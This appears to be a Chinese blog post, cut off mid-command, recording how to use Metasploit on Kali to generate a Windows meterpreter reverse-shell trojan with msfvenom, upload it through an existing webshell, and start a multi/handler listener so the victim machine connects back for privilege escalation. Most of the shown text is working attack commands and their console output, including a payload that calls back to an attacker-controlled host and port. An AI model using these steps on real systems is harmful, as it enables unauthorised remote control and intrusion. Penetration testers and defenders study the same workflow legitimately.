msf制作木马反弹shell提权

最新推荐文章于 2025-03-08 23:17:40 发布

a11aron

最新推荐文章于 2025-03-08 23:17:40 发布

阅读量2.2k

点赞数

文章标签：安全

本文链接：https://blog.youkuaiyun.com/Shinyhuang_/article/details/121117143

版权

本文档详细记录了如何在拥有webshell权限的环境中，通过kali Linux上的msf生成exe类型的反弹shell木马，并将其上传到目标系统。在kali上设置监听，等待目标执行木马后，成功建立meterpreter会话，进行权限提升，查看目标主机信息，控制屏幕及执行命令。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

记录一下目标在有webshell权限下，利用kali的msf制作木马反弹shell过程。方便以后查看

启动kali中的msf

┌──(root💀SC)-[~]
└─# msfconsole

生成exe类型反弹型木马,LHOST=kali的ip

msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.173.4 LPORT=4444 -f exe -o shell.exe
[*] exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.173.4 LPORT=4444 -f exe -o shell.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
msf6 >

将shell.exe木马通过冰蝎连接的webshell上传至目标

在kali的msf中开启监听4444端口

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/m